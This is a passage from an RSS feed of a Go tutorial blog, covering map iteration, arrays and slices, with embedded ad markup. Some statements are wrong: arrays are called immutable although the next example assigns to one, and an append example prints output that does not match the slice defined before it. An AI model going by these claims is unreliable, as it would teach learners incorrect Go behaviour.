data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;traverse-golang-maps-with-range&#34;&gt;Traverse golang maps with range&lt;/h2&gt;&#xA;&lt;p&gt;Just as with an &lt;em&gt;array&lt;/em&gt; or a &lt;em&gt;slice&lt;/em&gt;, we can tour a &lt;em&gt;map&lt;/em&gt; using &lt;em&gt;range&lt;/em&gt;. Each iteration will return the key and value.&lt;/p&gt;&#xA;&lt;p&gt;Remember that, being a map, &lt;strong&gt;the elements will be returned in no particular order&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; key, value &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;range&lt;/span&gt; dictionary {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(key,value)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;This is the minimum you should know about golang maps or dictionaries.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;In the go programming language, a map or hash table is the equivalent of a dictionary; they have a key that is related to a value. The key and value can be of different data types, but all keys must be of a single type and all values must be of the same type.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go: slices and arrays, basic characteristics and most common uses</title>
      <link>https://coffeebytes.dev/en/go/go-slices-and-arrays-basic-characteristics-and-most-common-uses/</link>
      <pubDate>Tue, 14 Dec 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/go/go-slices-and-arrays-basic-characteristics-and-most-common-uses/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;In go or golang slices, arrays and &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/golang-maps-or-dictionaries/&#34;&gt;maps&lt;/a&gt;&#xA; are structures for handling data collections. In this entry I am going to talk about the first two: slices and arrays.&lt;/p&gt;&#xA;&lt;p&gt;In this entry I am going to use data types, zero values, and other very basic aspects of go. If you don&amp;rsquo;t know what I&amp;rsquo;m talking about, visit my entry &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/&#34;&gt;Golang: introduction to the language, variables and data types&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;arrays-in-go&#34;&gt;Arrays in go&lt;/h2&gt;&#xA;&lt;p&gt;Arrays are &lt;strong&gt;immutable data collections&lt;/strong&gt;, to create an &lt;em&gt;array&lt;/em&gt; we need to define its size and the type of data it will contain, &lt;strong&gt;once declared it cannot be modified&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; array [&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;]&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;In the above example, we have an &lt;em&gt;array&lt;/em&gt; with space for 4 integers. The values that we do not assign will be assigned as zero values.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-slices-and-arrays-basic-characteristics-and-most-common-uses/images/arrayGolang-1.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-slices-and-arrays-basic-characteristics-and-most-common-uses/images/arrayGolang-1.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Structure of an array in go&#34; width=&#34;800&#34; height=&#34;200&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;assign-values-to-an-array&#34;&gt;Assign values to an array&lt;/h3&gt;&#xA;&lt;p&gt;To assign values to an &lt;em&gt;array&lt;/em&gt;, previously declared, we use its index.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;array[&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;] = &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// [0, 1, 0, 0]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can also create an array directly inside a function by placing each element of the array between braces, separated by commas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;array &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; [&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;]&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;{&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;slices-in-go&#34;&gt;Slices in go&lt;/h2&gt;&#xA;&lt;p&gt;Slices are &lt;strong&gt;mutable collections of data types&lt;/strong&gt;. Internally it is an abstraction of an array, with a difference, they can be modified.&lt;/p&gt;&#xA;&lt;p&gt;However, when declaring a slice, and then trying to modify one of its indexes, just as we would do with an array, we will have an error. Why? Because a slice is a reference, and when it is created empty, we are pointing to nothing, to &lt;em&gt;nil&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; slice []&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;slice[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;] = &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// panic: runtime error: index out of range [0] with length 0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;how-does-a-slice-in-go-works&#34;&gt;How does a slice in Go works?&lt;/h3&gt;&#xA;&lt;p&gt;Internally a &lt;em&gt;slice&lt;/em&gt; is a &lt;em&gt;struct&lt;/em&gt; with a pointer to the real array. In addition to the pointer, it has a property called &lt;em&gt;cap&lt;/em&gt; and &lt;em&gt;len&lt;/em&gt;, which refer to the capacity and length of the array, respectively.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-slices-and-arrays-basic-characteristics-and-most-common-uses/images/sliceGolang.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-slices-and-arrays-basic-characteristics-and-most-common-uses/images/sliceGolang.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Structure of a slice in go&#34; width=&#34;800&#34; height=&#34;200&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;A slice pointer points to the data it contains&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;To create a non-empty slice we have two ways to do it:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Allocate memory with the &lt;em&gt;make&lt;/em&gt; function.&lt;/li&gt;&#xA;&lt;li&gt;Declare it directly by passing the content after the slice data type.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;create-a-slice-with-make&#34;&gt;Create a slice with make&lt;/h3&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;make&lt;/em&gt; function allocates memory and initializes an object of type &lt;em&gt;slice&lt;/em&gt;, &lt;em&gt;map&lt;/em&gt; or &lt;em&gt;chan&lt;/em&gt; and returns it. If we use make, it is necessary to pass the length of the slice as a second argument.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; slice = &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;([]&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;slice[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;] = &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(slice)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// [1,0,0,0]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Consider that, if we try to add an element beyond the capacity we defined we will get an error.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;slice[&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;] = &lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// panic: runtime error: index out of range [4] with length 4&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For more details &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pkg.go.dev/builtin#make&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;check the documentation of the make function&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;creating-slices-with-values&#34;&gt;Creating slices with values&lt;/h3&gt;&#xA;&lt;p&gt;Besides using make, we can create a slice in a single step, passing the content directly to it, placing the elements of the slice between braces, separated by commas.&lt;/p&gt;&#xA;&lt;p&gt;Notice how we do not specify the size of the slice.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; slice = []&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;{&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It is also possible to let go automatically detect that it is a slice using the walrus operator &amp;ldquo;:=&amp;rdquo;. Only possible within a function&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;slice &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; []&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;{&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;partition-an-slice-in-go&#34;&gt;Partition an slice in Go&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;em&gt;slices&lt;/em&gt; can be split in a Python-like style, specifying an &lt;strong&gt;inclusive position for the first digit and exclusive for the second digit&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;slice[&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;:] &lt;span style=&#34;color:#78787e&#34;&gt;// {2, 3, 4}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;slice[:&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;] &lt;span style=&#34;color:#78787e&#34;&gt;// {0, 1}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;slice[&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;]&lt;span style=&#34;color:#78787e&#34;&gt;// { 2 }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we do not specify one of the two, it will take the first position for the first digit and the last position for the second digit.&lt;/p&gt;&#xA;&lt;h3 id=&#34;extend-an-slice-in-go&#34;&gt;Extend an slice in Go&lt;/h3&gt;&#xA;&lt;p&gt;Slices are mutable, they can be extended using the &lt;em&gt;append&lt;/em&gt; function, which receives any number of elements, separated by commas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sliceExtendido &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;append&lt;/span&gt;(slice, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// [1 2 3 4 6 5]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;otroSliceExtendido &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;append&lt;/span&gt;(sliceExtendido, &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;7&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;8&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// [1 2 3 4 6 5 6 7 8]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It is possible to create a new slice from the destructuring of a slice. The destructuring is carried out by putting three dots 